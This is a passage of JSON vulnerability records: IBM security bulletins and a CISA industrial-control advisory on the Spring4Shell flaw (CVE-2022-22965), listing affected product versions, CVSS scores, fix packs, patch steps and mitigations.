"E7653A5862D76B5A32167F623532FE5567AFABF9A426F06C2CBA21BE4039657F", "href": "https://www.ibm.com/support/pages/node/6596873", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:03:38", "description": "## Summary\n\nRational Test Control Panel is affected but not vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used in the Rational Test Control Panel web application. The fix includes a patched version of the affected spring-beans-4.3.22 library\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nRational Test Control Panel component in Rational Test Virtualization Server| 9.2.1.1, 9.5, 10.0.2.1, 10.1.3, 10.2.2 \nRational Test Control Panel component in Rational Test Workbench| 9.2.1.1, 9.5, 10.0.2.1, 10.1.3, 10.2.2 \n \n* All versions prior to those shown are affected. Upgrade to the latest versions shown.\n\n \n\n\n## Remediation/Fixes\n\n 1. Verify the version of Rational Test Control Panel\n 2. Download the fix for your product from Fix Central, this can be obtained for either Rational Test Workbench or Rational Test Virtualization Server by selecting the product and relevant version before browsing for fixes. Select and download the fix pack named Rational-RTCP-<_product-name_>-<_product-version_>-CVE-2022-22965-ifix for your selected product.\n 3. Stop Rational Test Control Panel\n 4. Navigate to the existing Rational Test Control Panel installation \nThe default installation locations for these files are: \nWindows: `C:\\Program Files\\IBM\\RationalTestControlPanel\\ \n` AIX, Linux, Solaris: `/opt/IBM/RationalTestControlPanel/`\n 5. Copy the contents of the \"usr\" directory as a backup\n 6. Unzip the download fix into the `RationalTestControlPanel` directory, overwriting the existing files.\n 7. Start Rational Test Control Panel\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-16T17:10:46", "type": "ibm", "title": "Security Bulletin: Rational Test Control Panel component in Rational Test Virtualization Server and Rational Test Workbench is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-16T17:10:46", "id": "0465751AC2B09E6749CD032D525B17660008B7BDE693E1A430E27B2E32A33438", "href": "https://www.ibm.com/support/pages/node/6595721", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:05", "description": "## Summary\n\nIBM Sterling Connect:Direct Web Services is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. CDWS using Spring boot to develop REST APIs. The fix includes Spring boot version-2.6.6.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Connect Direct Web Services| 1.0 \nIBM Sterling Connect:Direct Web Services| 6.1.0 \nIBM Sterling Connect:Direct Web Services| 6.2.0 \nIBM Sterling Connect:Direct Web Services| 6.0 \n \n\n\n## Remediation/Fixes\n\n**Product(s)**| **Version(s)**| **Remediation \n** \n---|---|--- \nIBM Sterling Connect Direct Web Services| 1.0| Apply 6.0.0.8, available on [Fix Central](<https://www.ibm.com/support/fixcentral/options?selectionBean.selectedTab=find&selection=ibm%2fOther+software%3bibm%2fOther+software%2fIBM+Connect%3aDirect+Web+Services> \"\" ) \nIBM Sterling Connect:Direct Web Services| 6.0| Apply 6.0.0.8, available on [Fix Central](<https://www.ibm.com/support/fixcentral/options?selectionBean.selectedTab=find&selection=ibm%2fOther+software%3bibm%2fOther+software%2fIBM+Connect%3aDirect+Web+Services> \"\" ) \nIBM Sterling Connect:Direct Web Services| 6.1| Apply 6.1.0.12, available on [Fix Central](<https://www.ibm.com/support/fixcentral/options?selectionBean.selectedTab=find&selection=ibm%2fOther+software%3bibm%2fOther+software%2fIBM+Connect%3aDirect+Web+Services> \"\" ) \nIBM Sterling Connect:Direct Web Services| 6.2| Apply 6.2.0.6, available on [Fix Central](<https://www.ibm.com/support/fixcentral/options?selectionBean.selectedTab=find&selection=ibm%2fOther+software%3bibm%2fOther+software%2fIBM+Connect%3aDirect+Web+Services> \"\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-07T05:50:15", "type": "ibm", "title": "Security Bulletin: IBM Sterling Connect:Direct Web Services is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-07T05:50:15", "id": "D77134C81C99E57B976FD13B327D499D7859624EF6E1B9534595C21A83A1761B", "href": "https://www.ibm.com/support/pages/node/6592977", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:53", "description": "## Summary\n\nOperations Dashboard in Cloud Pak for Integration is affected by Spring4Shell CVE-2022-22965 with details below\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nOperations Dashboard| 2020.4.1 \n2021.1.1 \n2021.2.1 \n2021.3.1 \n2021.4.1 \n \n\n\n## Remediation/Fixes\n\n**Operations Dashboard version 2020.4.1 in IBM Cloud Pak for Integration** \nUpgrade Operations Dashboard to 2020.4.1-8-eus using the Operator upgrade process described in the IBM Documentation \n<https://www.ibm.com/docs/en/cloud-paks/cp-integration/2020.4?topic=components-upgrading-operations-dashboard> \n \n**Operations Dashboard version 2021.1.1, 2021.2.1, 2021.3.1, and 2021.4.1 in IBM Cloud Pak for Integration** \nUpgrade Operations Dashboard to 2021.4.1-4 using the Operator upgrade process described in the IBM Documentation \n<https://www.ibm.com/docs/en/cloud-paks/cp-integration/2021.4?topic=capabilities-upgrading-integration-tracing>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T14:59:37", "type": "ibm", "title": "Security Bulletin: Operations Dashboard in Cloud Pak for Integration is affected by Spring4Shell CVE-2022-22965", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-27T14:59:37", "id": "ED11CF0606100E816592CB9CC87F176EF4BB64094BA5B7978B3810737572EBA4", "href": "https://www.ibm.com/support/pages/node/6575447", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:38", "description": "## Summary\n\nIBM Sterling Control Center is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. The fix includes Spring Framework 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Control Center| 6.2.1.0 \nIBM Sterling Control Center| 6.2.0.0 \n \n\n\n## Remediation/Fixes\n\n**Product**\n\n| \n\n**Version**\n\n| \n\n**iFix**\n\n| \n\n**Remediation** \n \n---|---|---|--- \n \nIBM Sterling Control Center\n\n| \n\n6.2.1.0\n\n| \n\niFix07\n\n| \n\n[Fix Central - 6.2.1.0](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Control+Center&release=6.2.1.0&platform=All&function=all>) \n \nIBM Sterling Control Center\n\n| \n\n6.2.0.0\n\n| \n\niFix17\n\n| \n\n[Fix Central - 6.2.0.0](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Control+Center&release=6.2.0.0&platform=All&function=all>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-25T22:33:00", "type": "ibm", "title": "Security Bulletin: IBM Sterling Control Center is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-25T22:33:00", "id": "8EA98A1ACD7FB64C20AF5E150C5876B7A376F3920E71B4315AC3EAC3F292126E", "href": "https://www.ibm.com/support/pages/node/6589989", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:16", "description": "## Summary\n\nIBM Robotic Process Automation with Automation Anywhere is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. IBM Robotic Process Automation with Automation Anywhere control room is using Spring Framework 5.1.6 with JDK 11. The fix will upgrade Spring Framework version to 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Robotic Process Automation with Automation Anywhere| 19.0 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the Spring Framework issue by upgrading to fix pack 19.0.0.10.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-19T16:14:28", "type": "ibm", "title": "Security Bulletin: IBM Robotic Process Automation with Automation Anywhere is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-19T16:14:28", "id": "D259E621EF9ECC71F1E5CA25BD5CC4DDE78CFECBB5FC21F2E4BCB16169E0B602", "href": "https://www.ibm.com/support/pages/node/6587935", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:03:30", "description": "## Summary\n\nIBM Spectrum Conductor is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. IBM Spectrum Condustor includes Spring Framework related classes in the package. It impacts the ascd, WEBGUI and HostFactory components. The fix upgrades spring framework into 5.2.20.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n_**Affected Product(s)**_| _**Version(s)**_ \n---|--- \nIBM Spectrum Conductor| 2.4.1 \nIBM Spectrum Conductor| 2.5.0 \nIBM Spectrum Conductor| 2.5.1 \n \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerabilities now by upgrading the following interim fixes in the table:**\n\n_**Products**_| _**VRMF**_| _**APAR**_| _**Remediation/Fix**_ \n---|---|---|--- \nIBM Spectrum Conductor| 2.4.1| P104680| \n\n[sc-2.4.1-build601166](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Conductor+with+Spark&release=All&platform=All&function=fixId&fixids=sc-2.4.1-build601166&includeSupersedes=0> \"sc-2.4.1-build601166\" ) \n \nIBM Spectrum Conductor| 2.5.0| P104681| \n\n[sc-2.5-build601167](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Conductor+with+Spark&release=All&platform=All&function=fixId&fixids=sc-2.5-build601167&includeSupersedes=0> \"sc-2.5-build601167\" ) \n \nIBM Spectrum Conductor| 2.5.1| P104682| \n\n[sc-2.5.1-build601169](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Conductor+with+Spark&release=All&platform=All&function=fixId&fixids=sc-2.5.1-build601169&includeSupersedes=0> \"sc-2.5.1-build601169\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-20T02:10:14", "type": "ibm", "title": "Security Bulletin: IBM Spectrum Conductor is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-20T02:10:14", "id": "78AC818528F1ED5E96DF9765AA477784E752DB03E5EC0169C89AD690326E3F5F", "href": "https://www.ibm.com/support/pages/node/6596867", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ics": [{"lastseen": "2023-09-09T20:51:44", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.5**\n * **ATTENTION:** Exploitable remotely/public exploits are available\n * **Vendor:** Hitachi Energy\n * **Equipment:** Lumada Asset Performance Manager (APM)\n * **Vulnerabilities:** Allocation of Resources Without Limits or Throttling, Code injection\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of these vulnerabilities could crash the Prognostic Model Executor and could allow remote code execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\nThe following versions of Lumada Asset Performance Manager with the Prognostic Model Executor Service enabled are affected:\n\n * Lumada Asset Performance Manager (APM) online service (SaaS) version 6.3.220323.0 and prior\n * Lumada Asset Performance Manager (APM) versions 6.0.0.0 to 6.0.0.4\n * Lumada Asset Performance Manager (APM) versions 6.1.0.0 and 6.1.0.1\n * Lumada Asset Performance Manager (APM) versions 6.2.0.0 to 6.2.0.2\n * Lumada Asset Performance Manager (APM) versions 6.3.0.0 to 6.3.0.2\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [ALLOCATION OF RESOURCES WITHOUT LIMITS OR THROTTLING CWE-770](<https://cwe.mitre.org/data/definitions/770.html>)\n\nA vulnerability exists in the Spring Framework component included in the Prognostic Model Executor service of the affected product. An attacker could exploit this vulnerability by sending a specially crafted data or configuration to the application either directly or via integrated applications, causing the Prognostic Model Executor service to fail.\n\n[CVE-2022-22950](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-22950>) has been assigned to this vulnerability. A CVSS v3 base score of 3.1 has been assigned; the CVSS vector string is ([AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L>)).\n\n#### 3.2.2 [IMPROPER CONTROL OF GENERATION OF CODE ('CODE INJECTION') CWE-94](<https://cwe.mitre.org/data/definitions/94.html>)\n\nA vulnerability in the Spring Framework component included in the Prognostic Model Executor service could allow an attacker to inject arbitrary code for remote code execution.\n\n[CVE-2022-22965](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-22965>) has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned; the CVSS vector string is ([AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Energy\n * **COUNTRIES/AREAS DEPLOYED: **Worldwide\n * **COMPANY HEADQUARTERS LOCATION: **Switzerland\n\n### 3.4 RESEARCHER\n\nHitachi Energy reported these vulnerabilities to CISA.\n\n## 4\\. MITIGATIONS\n\nHitachi Energy recommends applying the most recent patch version of Lumada Asset Performance Management (APM) or upgrading to a newer, unaffected major version:\n\n * Lumada Asset Performance Manager (APM) versions 6.0.0.0 to 6.0.0.4: Apply patch version 6.0.0.5 or upgrade to 6.2.0.3\n * Lumada Asset Performance Manager (APM) versions 6.1.0.0 and 6.1.0.1: Apply patch version 6.1.0.2 or upgrade to 6.2.0.3\n * Lumada Asset Performance Manager (APM) versions 6.2.0.0 to 6.2.0.2: Apply patch version 6.2.0.4 or upgrade to 6.4.0.0\n * Lumada Asset Performance Manager (APM) versions 6.3.0.0 to 6.3.0.2: Apply patch version 6.3.0.3 or upgrade to 6.4.0.0\n\nNote: For Lumada Asset Performance Manager (APM) online service (SaaS) version 6.3.220323.0 and prior, Hitachi Energy has already updated all SaaS environments.\n\nFor additional information, support and to upgrade users should contact [Hitachi Energy](<https://www.hitachienergy.com/contact-us>).\n\nHitachi Energy recommends disabling the Prognostic Model Executor service if users cannot upgrade to the latest patch version.\n\nUsers should be aware that disabling the Prognostic Model Executor service will have the following impact:\n\n * Disabling the Prognostic Model Executor service will cause the Lumada APM application to stop performing condition assessment calculations (for all assets configured to use prognostic models) and to accumulate calculation requests in the internal messaging queue. As the requests in the queue have a limited lifetime (set by messaging bus topic retention), when that lifetime expires, the request will be lost.\n * When the Prognostic Model Executor service is restored to function (after applying the suggested remediation steps and according to the installation guide) it will start processing the accumulated requests. When the period of accumulation is long, this may result in a prolonged period of intensive calculations.\n * If any requests were lost, the affected assets may be missing historical or even current condition assessments. To ensure the current assessments are up to date, the customer should trigger recalculation of condition of all assets using the performance models.\n\nHitachi Energy also recommends following the least privilege principle by limiting and controlling access to the \u201cAdministrator\u201d role or \u201cImport\u201d role privileges in the application programmable interface (API). \nFor more information, users should see Hitachi Energy advisory [8DBD000105](<https://search.abb.com/library/Download.aspx?DocumentID=8DBD000105>).\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability these vulnerabilities. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure they are [not accessible from the Internet](<https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls and isolate them from business networks.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/Recommended-Practices>) on the ICS webpage at [cisa.gov/ics](<https://cisa.gov/ics>). Several CISA products detailing cyber defense best practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the ICS webpage at [cisa.gov/ics](<https://cisa.gov/ics>) in the technical information paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.cisa.gov/uscert/ics/tips/ICS-TIP-12-146-01B>).\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\nThese vulnerabilities have a high attack complexity.\n", "cvss3": {"exploitabilityScore": 